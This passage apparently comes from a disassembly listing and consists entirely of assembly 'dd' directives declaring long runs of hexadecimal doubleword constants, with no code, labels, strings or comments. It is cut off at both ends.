0CD905DA2h, 0B0347E24h, 6CE09A00h, 98539307h, 195760FCh dd 0C4FA5AF3h, 0A7021770h, 0B9611EC3h, 0C6C060EBh, 0E35B50A5h dd 2F7800A4h, 0AA0B7119h, 48096EBFh, 80ABE754h, 415F1D3Ch dd 504274C7h, 0F498B134h, 0A11A0640h, 387A0B6Ch, 0DD193E00h dd 0A3B36001h, 2A401F1Bh, 0B8BCC066h, 0AC231689h, 0D6195B00h dd 14E7C873h, 12DA00AAh, 13033441h, 160099B0h, 47838545h dd 984F7D1Dh, 0AF8F00C2h, 68DC32C2h, 600A2FEh, 0AEDD220Ch dd 5E89ABh, 867BF6AAh, 3E75590Ah, 7CA45C50h, 3880404Dh dd 1600F033h, 64BF2CF8h, 962E032h, 4E3EFE1Bh, 0A0DCEF87h dd 0A10F4E1h, 18CAAC00h, 2FAE501Fh, 0F8B0D8h, 860C74CFh dd 790B785Bh, 59D4BD00h, 0D2204BBCh, 8020F789h, 2FB0C8h dd 468AC401h, 0F7512564h, 21A01D30h, 0A8F420h, 54EADAA5h dd 0C0E74070h, 53D45D07h, 5CE0A32Fh, 2F1D636h, 0B65BDAC4h dd 1C600CCDh, 7F0CB044h, 100D9C8Dh, 62380136h, 7DCA511Dh dd 0D5F570D8h, 0AEFD8D03h, 53D0A7h, 0AFCEB929h, 0FE222C16h dd 65737D00h, 3BE31B0Bh, 0FF8BFh, 9793E055h, 5488017h dd 743A6300h, 0CF4736C3h, 58EA000Fh, 211891F0h, 613C2708h dd 579700E0h, 7AC65292h, 0E434034Fh, 1F4BCB01h, 2A7BECD8h dd 120077ECh, 0E6E052DEh, 1D196FA5h, 40AA7AF0h, 0F8CCA6C4h dd 0C000056Ch, 0E4A86B59h, 3CE3732Bh, 0CE80625Fh, 0C68EDCFCh dd 0C100E057h, 87BC31A1h, 0F87645h, 0D4AAD3C0h, 2A5A7E63h dd 0D8EC1600h, 53374FD7h, 0DC1C0047h, 598ED2E7h, 5A07D649h dd 4B5F84F6h, 0B498EA80h, 68390050h, 1A44A4Dh, 300910Ah dd 0CEFB4E9Dh, 0F8528A3h, 0C5FA3318h, 7DEF8A0h, 0EA07C921h dd 3CCEA947h, 93350F90h, 74E8A5h, 8166B3FEh, 3D42B260h dd 0FFC8CA00h, 1C155149h, 1FB70772h, 1AB4A8BDh, 905300B9h dd 5F3337CDh, 0BBA03C00h, 0C0E94402h, 0A37848h, 0E069886Fh dd 71C2FF14h, 0EA527B00h, 0EF160256h, 3EF007ACh, 501B1027h dd 83A1D376h, 0EB059C07h, 5590024Dh, 26DC0Dh, 2E6A4EA9h dd 6814E58Ch, 57DFD303h, 0C0EB863Ch, 111D0EEh, 181A15F4h dd 61C5E14Bh, 0D1D8F735h, 8409FEB4h, 722B7Ch, 0BCA1EA00h dd 0A05C0180h, 6E14734Bh, 94E18029h, 66880BC8h, 0DFA91EB2h dd 0EC3180A4h, 0F38F2105h, 139FDA01h, 2253E56Dh, 0C543AC40h dd 76500069h, 0F8B6A24Ah, 9A009834h, 0E009E966h, 8C372Ch dd 8E675E03h, 365A1BB0h, 8B4C3Fh, 0D3CBE6B8h, 2C98493Ah dd 2F3C22h, 0FAFF2E18h, 0E004E28h, 6BC81E3Fh, 1660716h dd 0A0E07315h, 429FB843h, 33614794h, 0E0F5D110h, 0D8C1830Ch dd 1D468D53h, 31002826h, 631B072Fh, 9F00D182h, 27DAF690h dd 75C3076h, 600B6F3Ah, 2356A06Eh, 2803C338h, 0ED96D048h dd 0F0BFC91Fh, 12AC0F8h, 0B7A543D1h, 0D0825AABh, 1A005DD6h dd 0F75267F4h, 732AD72h, 196A6F45h, 50381CBEh, 0EE6E2A00h dd 0B2B5D1FEh, 0C3783AE7h, 18969C80h, 77E5A69h, 138533Fh dd 0C423F2CDh, 4020C9E7h, 50BCE6D4h, 3085C08Eh, 0F23E380Eh dd 5800D9D8h, 0F1729C6Fh, 0A8F11h, 748C1C28h, 0B84D250Dh dd 0E844171Ch, 88579040h, 258521D4h, 8BFE947Bh, 63001137h dd 0B93035h, 3F6DA771h, 5EF4F93Ah, 0E0804950h, 79318775h dd 892EE054h, 284DAF20h, 0BCDE1Ch, 2D6078B8h, 8307BF3Fh dd 0C980A8DEh, 16531940h, 5FA007Ah, 8E39DE28h, 0DB3E6B47h dd 0B338F925h, 61800091h, 540AC1FAh, 750B0333h, 2AE03BCDh dd 3C48A2B2h, 8D00F4C4h, 0D4487F6Ch, 3570E51h, 32C9CC8Ah dd 0D407F022h, 6052C0E8h, 5677FF67h, 0D7F80460h, 0B7C20074h dd 178EE44Dh, 0D4007572h, 0E7736847h, 1D3E2B6Dh, 407F2E3Fh dd 62C3E5EEh, 1D005D57h, 59E7E015h, 3C21942h, 3C70DF5h dd 95A828CDh, 1600DA9Eh, 8104438h, 4EE30Eh, 0ABEA5BC2h dd 0B6F1E9B9h, 2F188300h, 6DAF3852h, 9AC706F3h, 68EDF60Fh dd 106A6B00h, 0D9093C1Dh, 41FA0363h, 0D7D572BCh, 0AA8646E8h dd 1FBA053Fh, 0F2008B6Dh, 0AF8207EBh, 0E3B7006Ch, 0F58404A6h dd 0CE399FE7h, 5C9B8034h, 6C8C5544h, 0B4671266h, 9994403Fh dd 0D4B2A3ABh, 0D2229403h, 98BB870Ch, 80BF31h, 0BAD88BADh dd 0E452ACBEh, 878A7500h, 65769862h, 5FD10ECDh, 45A9BB6Ah dd 0DB2B400h, 0AB024787h, 33B8BE68h, 6D4A025h, 2639B89h dd 0D9C48EA3h, 96E03062h, 35004A3Dh, 7F037B8Ch, 186CD2F6h dd 0A1E77E60h, 8007931h, 75DA47CAh, 84C6AEh, 88430E6Ah dd 426D9690h, 0BC35B1Ch, 0A8215900h, 666489h, 437D57DBh dd 0DD47FF16h, 0E7EE4890h, 593A90Eh, 40997890h, 0E61D2CACh dd 0A204005Ch, 65F2E9ABh, 0EDE04F03h, 81F59Fh, 80CA9CB0h dd 66D23214h, 6C054216h, 11AC1841h, 34F9D012h, 0B39B80DAh dd 1F5FAAEh, 68FCC3C0h, 606DB6E0h, 703F361Fh, 0F10B7D88h dd 80D375BAh, 964F53AAh, 90AA0083h, 281755A2h, 0CE60FC52h dd 9B71F560h, 0DBB30465h, 0C0C6ED9Dh, 30D27444h, 3709D800h dd 0EB8FD36Ah, 0B5F2CAEh, 3862832Ch, 0CCC9B86Ch, 50608043h dd 28B6C959h, 75A1281Bh, 0CD8100FEh, 0D31F231Ch, 2E02474Bh dd 0CEFDB2D9h, 0A724C0D8h, 430F13F5h, 0DCA4400Dh, 0D178BE53h dd 8B298F04h, 48C055B1h, 0F508C9C8h, 761060h, 8872DBE1h dd 695DF882h, 0C8F1E700h, 0E6A89152h, 3B7D77CDh, 0D780D838h dd 954ADC9Dh, 6901E051h, 88A4B20h, 0FED847E6h, 4FDE0019h dd 9B738ED3h, 5E006F0Ah, 45DC819Fh, 6D99C3h, 1152714Eh dd 7495E4AAh, 0A70766F8h, 3FAE02C1h, 0A0D52023h, 1F1094h dd 440EB763h, 9EA33211h, 38F7A730h, 0F14802h, 0FBF52F45h dd 0D14CAEFFh, 0B41A3606h, 9956E8h, 0A9A3F48h, 0C74A98F1h dd 34AB721Eh, 0EFFF0140h, 4BB22Fh, 0F0D48C6Ah, 0A0B01EAAh dd 5CF7ED0Fh, 9836C0DBh, 3F38ECA8h, 75EE6Fh, 76759ABAh dd 0FA2DD4BDh, 0FB61FF00h, 28E5B471h, 14FC09B5h, 160396ECh dd 1A883808h, 61F9E7Ah, 803B2568h, 0A451AF4Ah, 75270ECDh dd 0E0DC0133h, 4D1BA38Eh, 93A7DFA6h, 0D1E03A35h, 3214AF66h dd 1A4DF0Eh, 914537B7h, 2BDC9857h, 258E00F8h, 0FB8007A9h dd 7B00CEC6h, 0E3491B61h, 1E66AD0Ah, 8015348Ch, 0DBE54169h dd 3200DC60h dd 42742835h, 72BB0C3Ah, 0C7120111h, 13E2471Ch, 0CCD4D475h dd 1BAAA200h, 2D48049Ch, 9EFF0FDAh, 0CB20C1DFh, 6ECAB6E2h dd 7EA2A00h, 0E4EDB492h, 5FA6A0A7h, 75EF0542h, 81639DE5h dd 0C402F501h, 0BF070E69h, 0BE8ED268h, 4F4879B0h, 5DEC1D30h dd 0F1EDC0BAh, 1744F7C6h, 0DC57341Ch, 7E1898A8h, 53986C16h dd 1E430084h, 0FB3AADE1h, 7C00C7C4h, 0F14A8C5Fh, 5B7437h dd 4C4E3E1Bh, 0F9255238h, 0BCA0830Ch, 6A788DAh, 1E622618h dd 0E1F250DEh, 0D6E0B900h, 0D3DF5B4h, 0D87F412Ch, 0F90F2668h dd 808F4E75h, 0C1BD153Bh, 972B0088h, 0AF6103A5h, 983B71BEh dd 4DB0023h, 0CE50B96h, 0B59EA0DAh, 0EC2139DEh, 40C27E81h dd 2083707Dh, 0F31CD308h, 4CC06056h, 72DC512Eh, 89610C5Ah dd 9298D712h, 2A6A8300h, 0DF16919Dh, 0D376AEh, 1355DCF3h dd 0CC06D1D8h, 0FEB38B00h, 9938692Eh, 8FE09718h, 3A005E27h dd 25E2B7A0h, 0B673E8h, 0FC07736h, 51C21DD1h, 0FB976A01h dd 0B29BF619h, 12C31440h, 1D3D3AADh, 0F595BD82h, 0B080EE67h dd 403008E6h, 0FFCDA603h, 0C8E0E37Eh, 124F98h, 0D6544642h dd 0D5C193F6h, 9A06C807h, 91F08CB4h, 0F613B97Ah, 0E2B8BAh dd 1138755Ah, 44861D35h, 0F89B3A09h, 0D78000E8h, 62550Fh dd 0A91B2360h, 656FE199h, 3573DB00h, 4C6BC9F0h, 0E6AE3DB7h dd 1C37E26h, 3FB20917h, 0F080E65Dh, 4E1537C6h, 0DCF00E02h dd 80DFD7C5h, 0C14251A8h, 361400F5h, 0A1F8C3B4h, 0AC093160h dd 2A446Bh, 4D116D40h, 0B3E320EAh, 0C5C04301h, 3AFBC78Dh dd 24B47DF0h, 8038FFEFh, 0ED09422Fh, 3E1EC371h, 0FD806DBEh dd 107391E0h, 0A91C6036h, 2CB12D9Bh, 408C6000h, 848D1572h dd 3F30C0BFh, 0A86EF8A2h, 2D7FD30Fh, 0CDD097Dh, 3C09C0F4h dd 1E81F67Eh, 9A19A60Bh, 0DD7C3043h, 0B105AC00h, 3F93EAF1h dd 67EF3DC5h, 621D3B1h, 888AC6F0h, 0C05D1FF8h, 97F54B2Bh dd 5B02628Fh, 0BB753DB4h, 8234E025h, 0DEF70035h, 91BF7283h dd 66003FDBh, 18409221h, 7AFBE16Ah, 6513C70h, 56643FFFh dd 830F779Fh, 4D2F7E8h, 0B17E32C8h, 13D0E900h, 4EC31C3Ch dd 0C6DB140Ch, 63F98F0h, 46601009h, 31E2480h, 3900E8C1h dd 0E622F36Eh, 16D6B773h, 1FF46033h, 0EC554037h, 999D31AFh dd 56F5F300h, 947AA6EDh, 0D5320998h, 20008BFEh, 4807583Bh dd 1FDD2A03h, 0D8E3C23Ch, 32CFD10Ah, 9899B1B7h, 0D02AC381h dd 8C10F412h, 0B869BA00h, 49C7CA3Eh, 0A926033Ah, 7AE2611Dh dd 0D440418Ah, 82003481h, 0BB76CE68h, 1C96CFh, 0CCB5E1D5h dd 3A9BF522h, 0D009B600h, 8CD8FDE6h, 0EA8101FFh, 4D77C2D2h dd 4BF7DC7Dh, 0BB279200h, 0BADBC69Ah, 82C5009Dh, 0FD1F22B3h dd 6900D5A3h, 71E17FFCh, 12C1CC25h, 3D73BAEh, 4F1D59A8h dd 24E7BDC1h, 31802D3Ch, 402B0084h, 2B6CB33h, 0A809ADB0h dd 9F4E1Ch, 0E9927D8Ch, 80E707B1h, 637C055Ah, 76D2AFF7h dd 0BABE0880h, 9600A608h, 0DF5C8FE2h, 2C7D89F1h, 886CF2h dd 7599687Ch, 0ADE20C8Bh, 9A49F800h, 770741BEh, 0DD13036Fh dd 0F8B14EFh, 3AE02020h, 4E1F10A7h, 0B990E01Fh, 0A100DEF8h dd 0B1AD839Eh, 90FCDC04h, 0A3E400D4h, 8E528693h, 1E0040C8h dd 90C578A2h, 37B03CBh, 0A0C6269Fh, 5601D470h, 0C4140CA9h dd 0CEDF76DDh, 0E9410081h, 0E5CBA5ABh, 0F00ADB34h, 50717780h dd 3820431Ah, 0A1A7495Ch, 0F0C08C28h, 5BCF0081h, 1B34DF9Bh dd 8A043A71h, 0DA0F0C5Ch, 355FB0h, 5227494Fh, 0A153DED1h dd 8691B23Eh, 0D061ED6Dh, 1BC47F58h, 69FC0FEBh, 0AC043AC5h dd 9BD3061h, 43E18510h, 0CEE30E05h, 0D8029633h, 800BEFC7h dd 82B761D4h, 853F0C16h, 672945FBh, 0C472284h, 0B119B42h dd 1F5B211Fh, 0CF22A2A8h, 1B4A2281h, 62118F42h, 51733012h dd 1C5306h, 0D525F724h, 146BA5A7h, 2AF00C30h, 65B8E4h dd 0A66E216h, 42C81B7Dh, 34B25Ch, 0C50C8089h, 7725BD4Bh dd 0E7ED0081h, 98F852D1h, 0AD0007F3h, 0BC4B4945h, 0E637DFh dd 0FC997DAEh, 0D46432ABh, 0ECEFB500h, 0C033933Bh, 0F42F001Eh dd 0FB91F14Bh, 0B40009E8h, 19052C42h, 4FF39Bh, 0FE28BB52h dd 80E07746h, 92D2FA00h, 2FC858F6h, 99D31CEAh, 8AEE4037h dd 7D0DA6A0h, 93EBA15h, 0A30075CCh, 6A3018F0h, 7327E2Eh dd 36FE8350h, 7CBE51F9h, 8B888505h, 67C1C760h, 0B1E07839h dd 28C60008h, 5B9A1DEAh, 0DC50226Ah, 0E1C05FF4h, 0BA314F97h dd 947F45h, 660AA42Dh, 1B02E87Eh, 6514AD00h, 873B8F3Ch dd 50F00062h, 0F2D9B839h, 0A707C3A2h, 366EA4DCh, 248E6A20h dd 958D0089h, 8A69B2BDh, 0CF060E77h, 6EEC4D48h, 5ADF3B20h dd 6382B080h, 9FFDC63Fh, 0BBE8CA07h, 9D137281h, 0DD280393h dd 0AC45531h, 307FDE8h, 0BF718007h, 0DAA05737h, 2E8DE51Bh dd 14E24h, 0E174CB25h, 0EC386FD6h, 0C1D08014h, 86E278B9h dd 6B70C0h, 82E30626h, 14A90AD2h, 38D0D90Eh, 0FEEB4722h dd 0C3A0BCF0h, 7B1200F5h, 7355FA60h, 0C0A0C1C6h, 440067FDh dd 0DE44FC4h, 7D6F2293h, 3B7F61Ch, 79FFD614h, 40D03B26h dd 284E1EDEh, 540009ACh, 22B5DBC5h, 0F83FD5B7h, 23BE8069h dd 5A3B0325h, 567600FBh, 33521007h, 5492C574h, 0A323A700h dd 61AAB5DDh, 0C38A2657h, 34D4009Eh, 8DFB5912h, 80BAA101h dd 1E5DE03Eh, 6823420h, 9DD432B0h, 9402101Fh, 0DE29155Ch dd 0F52840F4h, 93C940FDh, 7B09DF0Ch, 12152814h, 0ED926CCh dd 0C8E3014Ch, 23A9B79Dh, 0F7208012h, 0AC6C8BCDh, 7CA20E6Dh dd 732044C2h, 0C915C848h, 361C9714h, 76B100E8h, 1465EBBAh dd 256E0013h, 0AB64FCD8h, 0B018C50h, 74212D73h, 0E2F02EBEh dd 0F710039Bh, 0D296F6FAh, 5126D880h, 68039F7Ah, 0BFC197CBh dd 0CAB8E8EFh, 0C9660062h, 0F038C69Bh, 400058C3h, 4492E89h dd 0B3E9D1h, 25462DE3h, 37124783h, 0D34CF901h, 4A24DF85h dd 1D74C6F0h, 1FC8BF7h, 0D29A6CB7h, 72D9FCE1h, 0E7835B00h dd 81BC3C8Dh, 9FF0096Eh, 3480E4C1h, 83283932h, 6D357800h dd 0C0DC16EFh, 0CD7B0Fh, 0BAE0979Ch, 1555F699h, 0B08CAF00h dd 0E2C6D26Ch, 0F83C0037h, 0D324AEF0h, 7000951Bh, 0EC164247h dd 201F6C0h, 3A8806A2h, 0A540A599h, 2900D5AAh, 300F22EFh dd 19AE5CFh, 63A6E03Dh, 60EDA7D1h, 0A500E890h, 0E3A0FE5Ah dd 6E379Ch, 2A8CD4F2h, 0E1FC29FAh, 0A10F5Ch, 0F31BCD25h dd 1C404EAh, 73994590h, 0E51C0985h, 3938F453h, 4D8BBD0Eh dd 5680FF26h, 9BC8EE76h, 0BA2200CBh, 7B7461F4h, 1D00AE7Ch dd 8ACC972Dh, 49E31Fh, 0FE9A33B1h, 0C34F257h, 177A8701h dd 8F81D4B7h, 105DC0h, 0BC94D31h, 0D0908D11h, 3D7AEA7Dh dd 884E6F30h, 730D378h, 0C1EC2662h, 78C8397h, 2CFC52B8h dd 19631403h, 0D28AB3CFh, 83A0E06Eh, 0E77033h, 7055F0BBh dd 0A2ADCFE0h, 9CD28B00h, 0DA8F87A3h, 8EC601AAh, 0B8DE3274h dd 6A58FE97h, 91DC5D00h, 192643BEh, 14BC7221h, 0E013A669h dd 0C04E681Ch, 96AD890Ah, 7401AA99h, 0E223A08h, 80EE1485h dd 1E32C9D3h, 101560D5h, 79F69A94h, 1BB36807h, 0CE70D936h dd 0E0FF69h, 6EDA272Bh, 569BA095h, 0B8798500h, 2C69EAAAh dd 0D310005Bh, 0F9AE0BC5h, 0A91F33F8h, 2440F3D6h, 0B5CAD201h dd 788507FAh, 0D190972Bh, 0F4DC06ADh, 20002315h, 12839B0Bh dd 25378h, 5B9333BFh dd 0C35C4B0Ah, 9539D200h, 0FE5480C5h, 1DE2004Eh, 0D4A91934h dd 0DF005B01h, 9C843B14h, 2CC56EDDh, 560CEBh, 242E568Dh dd 3A03D56Ah, 34CAB7DEh, 1F29E080h, 15D70053h, 26F814BBh dd 2C006858h, 0DC0E7E8Eh, 19D9E257h, 48D4B06Ah, 26C9302Bh dd 890E7272h, 702EAB9h, 2F70DD56h, 72B79h, 963DA6DCh, 0E32ACC74h dd 38158C00h, 9E410825h, 37A5005Dh, 77D58A12h, 16003A2Eh dd 0C7FCD3AAh, 4F18E3h, 244BB27Eh, 6C44BA86h, 4DAC7700h dd 730423AAh, 0CA9B0054h, 11809C32h, 31006F7Ch, 7526697Bh dd 140B714h, 0FC83D45Ah, 2059647Dh, 2D139A33h, 35008FD5h dd 725680FEh, 5BDB0014h, 0F7BA95C0h, 340076A8h, 4579067Bh dd 0F452B1h, 0CEE611BEh, 7E67A51Ch, 468AE0Ch, 3001391Eh dd 92311FB0h, 5C00732Ch, 52EFD94h, 0C0B5237Fh, 0F1A55229h dd 0F6003CECh, 36D10C53h, 0FC8A8Fh, 4F8CC497h, 73ED7FA1h dd 2EBF2912h, 0F6D50400h, 778D26h, 0FDF1256Bh, 8B9152DEh dd 8F839501h, 0CEB9AEC2h, 5B7C18A5h, 0CDDEE00h, 0A567F9h dd 416BB04Bh, 0F4DFAF25h, 23E54D01h, 505F2FD0h, 1EC5E8ECh dd 406A4749h, 91CA7DF6h, 1C18D3F3h, 7780D0A4h, 615B7AEFh dd 0C6909080h, 0B14EE053h, 0B2AF48h, 0D316C7C8h, 4002A0h dd 208BA17Dh, 6932988Ch, 95A8EE00h, 0EC3AF6C9h, 0C6C1408h dd 4F0194E5h, 765FDD91h, 2F95E8F5h, 7878963Ah, 3E00F97Dh dd 5873F862h, 0FACF72h, 8A1C92E2h, 69EB5C65h, 0D7A0600h dd 15FCC0D0h, 6A6F1284h, 5F0435Dh, 0C7A8F98Ah, 0D0090C9h dd 3E374DABh, 309AE01h, 73B3463Fh, 60FF5A4Ch, 70B4B950h dd 0C0E45800h, 0EDB6A07Eh, 0B761386Bh, 399A8100h, 227AEC36h dd 0CCA1320Ah, 0F0008C2Bh, 6253CB9Ch, 92830E08h, 0AB21C3CFh dd 708CDB5Ah, 0C500C922h, 0F849055h, 0ECD29Eh, 0E55929C3h dd 0A3CFEB0Ch, 1FD4CC3Bh, 0BBC43E2Eh, 0AC8532DBh, 0E3349B80h dd 0ABD0092h, 0C81C4B98h, 56E44419h, 6AC58D00h, 5461D606h dd 0C4DB0459h, 80266BF4h, 80C3E214h, 1BAB90Eh, 8DDFA727h dd 50A23C50h, 0E5B5140Dh, 5303E483h, 200590EDh, 0BAB1D780h dd 0DDC8C500h, 9406FFCBh, 82C300B5h, 0B9E049EFh, 78004F2Ah dd 37876C74h, 7E8001BDh, 7F390053h, 0A4252808h, 0ECA02D2Bh dd 83055886h, 0A00E211Ah, 0A0C737C3h, 8562CEh, 3C962071h dd 5355D3AEh, 0C13A3401h, 0E35CBFE7h, 6512DC32h, 64530280h dd 3448556Ah, 0E000D374h, 60D50719h, 0EEC441Bh, 97A92F7Dh dd 0C436582h, 5FC6E0FFh, 68121841h, 0BBD8E877h, 0CFA6AF00h dd 0ED494030h, 7839B08Dh, 0F65F00C0h, 61DAE60Ah, 85017AD3h dd 4C9334FCh, 5DE07992h, 907F16FBh, 983F00CFh, 0BE4B0E63h dd 0C08C40CFh, 1201B0EFh, 0CA7AC0h, 1584672Ch, 2E331A0Eh dd 6A30B00h, 5E8334C6h, 791C913h, 0B498BC90h, 0E80F49h dd 298CE76Bh, 98C0B6B1h, 0A8B92608h, 0C8890155h, 5023DF9Fh dd 0CDD460D4h, 0D2458100h, 9214A83Eh, 5B3A0036h, 0F71A91AAh dd 0BE002620h, 22ED8D4Eh, 0F0F4DBh, 948A8EF1h, 80CCB1C0h dd 0D110CE00h, 5A589FF7h, 0DE4A30C1h, 41A22A0h, 9981E030h dd 6068B7h, 0BE42ED21h, 5AE53D6Ah, 5674C003h, 791E08DFh dd 4FF468h, 9A9E35AEh, 9C673071h, 8301533Fh, 2DA6B6BAh dd 24829FFCh, 0AE98806Bh, 0FC3E9h, 8382FF90h, 0D2738DAAh dd 44294100h, 61C7F6B7h, 1AD90032h, 0EB239984h, 4E01E63Eh dd 341FDCDh, 0D04374C7h, 5A0F8051h, 587800D9h, 75499625h dd 7E7A6221h, 602BE400h, 8B5EE969h, 0C57604h, 9C9D102Dh dd 0D95B57C4h, 0AF2EE703h, 90C7E0D1h, 0E4D48ECAh, 4B0C00D6h dd 2DF2CF20h, 0D928A943h, 71039F03h, 0B9B40177h, 4EAAC853h dd 0FB050099h, 0A5C2B296h, 4802D262h, 4F98B5AFh, 51DEC08Ch dd 107F00D5h, 6023BCFDh, 7E742B3Fh, 0D300C17Eh, 39EFC496h dd 0EBF4AEBh, 54C58E48h, 0C0F299E5h, 189B1174h, 0DED17000h dd 95AEED2h, 0D83F009Eh, 686C63C0h, 700E5C14h, 624E33AEh dd 60951122h, 1F09591Ah, 0C0EFD7A6h, 436D4615h, 37001F25h dd 0BA050A49h, 71FE9206h, 0D5AC0F90h, 0BEBC9F34h, 0EF6BC900h dd 0CACBBF2Bh, 7CF43A00h, 0A061254h, 18B20045h, 2177EE02h dd 0D10061AFh, 30A7A241h, 23F3FBh, 0EA5E1EC9h, 7BA1F8F4h dd 0B80069B6h, 56584C25h, 7AE9000Ah, 0B9D11A80h, 0AE00B15Bh dd 0D03A7BFBh, 565E84h, 727D114Ah, 0ACDE7991h, 0A300987Fh dd 19D0F31Bh, 0DBC5A1h, 72CE0943h, 0BBDA8869h, 0C903E81Eh dd 3A006D9Eh, 19AC73D7h, 285000Fh, 458331B7h, 0BF00BAADh dd 809AEBC1h, 0C267F5BEh, 27E8DA34h, 0F6EAEC60h, 82962902h dd 40E4456Eh, 1AFA478h, 797242F9h, 0D8F8EDDCh, 31F33758h dd 6744412Dh, 0B1DEF434h, 750CA3FAh, 502DA839h, 6E7203C5h dd 451C1685h, 7E960DF0h, 3BA93A13h, 6010840Eh, 44490848h dd 0A3121EB9h, 0EC8D1F69h, 0DD280063h, 0CCA79F1Ah, 0BB00D8B0h dd 0E40A95BAh, 24AE342Dh, 75CD445h, 707088D5h, 2EB46DA9h dd 3CDBB200h, 668755BBh, 5AB008Eh, 7CE376F7h, 24B0C27Fh dd 0E6A22A01h, 3D8E3C82h, 5DEB9EF8h, 0F42428D8h, 282CD4h dd 1C94672Eh, 6F2E6E30h, 97006710h, 0AAEC7DACh, 0F5871EA6h dd 5F59407Ah, 5E2488F8h, 0A4381738h, 0E700E646h, 0B8DF4F5h dd 5E85Ch, 0E142129Eh, 405096A4h, 84EAB000h, 37E09713h dd 0BF9307E5h, 204F6B88h, 0F7351FD8h, 0E7C79205h, 48C0305Fh dd 38038h, 0C6B9C8CCh, 0B7DDB89h, 0C200C47Bh, 730A92C1h dd 51EBE3Dh, 84894BBAh, 1DD6011Bh, 0E5867F6Fh, 5AB8501Ch dd 6917BD2Bh, 0D000D5B7h, 719B4310h, 36840E6Bh, 514903BEh dd 0CC945800h, 6D12CA87h, 1047F50Dh, 9E30389Fh, 5B7D2Ch dd 0B4FC84ACh, 0F911CC13h, 0FB5CB013h, 88C73C00h, 17A4D414h dd 496BE675h, 0C2596ECh, 20AC90FEh, 28B894BAh, 0A86093Fh dd 0E01B488Bh, 20E05C0Eh, 0D694E9F3h, 0B7AC13C0h, 8ED01EE2h dd 1FEC0FDCh, 900EA28h, 38F691D7h, 24790D8Bh, 60F026h dd 802FCD03h, 3A900A33h, 0ED889F03h, 0D081A3E1h, 0D67E85h dd 3439A96Ah, 98BA0EACh, 25550C02h, 0C0A1BE1Bh, 2F3BFA3h dd 3F03E79Eh, 0CC806D4Dh, 9A2DED18h, 0DAA488h, 9DE5E89Fh dd 0ECE725D2h, 3CC00700h, 0F62ECDA6h, 0BA9900EAh, 0AD64064Ah dd 630147AFh, 788B1936h, 24E0557Ah, 86100F6Dh, 0EB04B937h dd 770C01D2h, 0B0A724Fh, 0A069FABBh, 876ED028h, 50C60F71h dd 7BC26394h, 4C4073BDh, 3301B1F7h, 0A9013D83h, 12D97EFEh dd 7F2455CCh, 68AF48FCh, 800A0407h, 77C0108Dh, 5E037FF9h dd 2DB06212h, 34D0CDC4h, 73FB99EDh, 410600F2h, 2C8B211Ch dd 450076C5h, 7C2307BBh, 0E49579B4h, 0F0867A66h, 0CF961DBDh dd 0F2A4C036h, 1A8D41EDh, 0A5893500h, 0A6591EEh, 160B004Fh dd 0BEB91592h, 54022A96h, 0C7906E55h, 6692619Bh, 500EC024h dd 2EB801h, 44FD1A59h, 28201667h, 0F51EAD07h, 75908D34h dd 3BDED797h, 198771AEh, 0C051111Bh, 7E4277C1h, 5828F200h dd 3B02C468h, 6EE70275h, 44BE1A56h, 1971088Ch, 0BB794701h dd 8B74CD66h, 9A86020h, 0B9BF4BE3h, 80232840h, 0D7110207h dd 0C3F21E19h, 1F64707Ch, 1E4EAD77h, 0F1103FEh, 82A3DA08h dd 92AF31A0h, 398120A3h, 0AED9802Ch, 0A843E32Fh, 4ACCE9CFh dd 7982F9D7h dd 0E05A4BDBh, 0B8088E40h, 8B16F501h, 0B980E83Ah, 0DF48A6F8h dd 11728350h, 31A0835Eh, 0A430D116h, 9930612Eh, 65AF09CCh dd 5380E9A8h, 0BA72F3EAh, 5C43A028h, 371FDCFAh, 0D640AD18h dd 0F9AE6EA8h, 42F55876h, 1B516F00h, 6C2D7DD9h, 0E197ED07h dd 522757BEh, 5A823E60h, 0CB371D68h, 8CC90042h, 0F6BAD96Fh dd 5B569400h, 7AAC9D25h, 3E2C00E8h, 333BC5E9h, 1D00CF91h dd 0FF8898Ah, 32E17459h, 15B90C36h, 0C80C04BFh, 81134h dd 0D9E2ECFBh, 6C54AAD1h, 0D5FC7300h, 28C5AB0Ah, 0A4D0388Ch dd 0FA21058Fh, 0B983048Fh, 16E08F14h, 1B284293h, 0C702C4Dh dd 517C3331h, 8008ACB2h, 9F3FDDF3h, 120AEA29h, 551F9C1Eh dd 0DB887C00h, 16ED242Bh, 27B071h, 8620D444h, 61CF28ABh dd 2260145Dh, 0EEF226BEh, 49193020h, 5C0154DBh, 2B03AE6Bh dd 704C7685h, 0E82F4124h, 0A04C0E60h, 5E4006A8h, 44E8DA43h dd 103E0ABFh, 0D2970001h, 0D983FBB2h, 2117EDB1h, 582B0F37h dd 34005E4Ch, 7D4503FBh, 60542627h, 0ED14A97Eh, 0C882147h dd 0F8536C46h, 0FC02A8A9h, 7D44F773h, 19788036h, 33656Dh dd 98510289h, 4850A6CEh, 0E4D14D22h, 3E3F0053h, 0FC5265C2h dd 51001A05h, 5ED038F2h, 8641Fh, 0CFE156D9h, 24416CA7h dd 817538C9h, 0DA355572h, 77A97870h, 18236079h, 0F2C8AFC6h dd 4B0C4CF4h, 91325986h, 41A600CBh, 691B21A7h, 0A53CE139h dd 80490FC3h, 1004FE97h, 3490D7A8h, 2B04FCh, 79A4CC8Fh dd 0B570973Eh, 3CE5A100h, 0A6A57D5Ah, 484000D5h, 2586FDB0h dd 0ED90287Ch, 0C46241C0h, 1710A1Bh, 338A543Bh, 78636B6Eh dd 67690EE1h, 0D53DA00Ch, 4C88C4DAh, 5680880Fh, 9F5FF6B5h dd 0ED25041Ch, 0E8D59140h, 270E152h, 5EF7210Eh, 304847ADh dd 7608EA97h, 81DD48E9h, 556C406Dh, 0F0CEE07Dh, 890013FCh dd 0B0D0D54Bh, 1A02ABh, 0FE3CB1CFh, 279229C0h, 1D0F073Ch dd 0D0807A28h, 0B2C3B98Bh, 239E0C7Bh, 360873B3h, 0E2FF21C0h dd 0A9E5BAh, 0DAB1CB7Ch, 90294751h, 0D2EFC300h, 0F64D2EB6h dd 8D870406h, 6335EABh, 0C8407654h, 8AC00C70h, 46B2C2B9h dd 7452283h, 0D3BAE1C6h, 9FF5208Fh, 0BD07560Fh, 5BB6708Ah dd 2A28831h, 303A3106h, 6BB80C8Eh, 481124h, 0AE076881h dd 0A73FC3C5h, 0A3083D63h, 65200079h, 0CD1B68C9h, 9D301E73h dd 0AF61B04Dh, 2820C704h, 7A083C2Bh, 17ED7C03h, 88D6B4B3h dd 0F9E2899Dh, 1D335F60h, 12757BA3h, 31AF18D7h, 0E41EE2C7h dd 44C1B29Ch, 4BFFAA7Eh, 219C02D1h, 0C9E440EAh, 0CB7218A7h dd 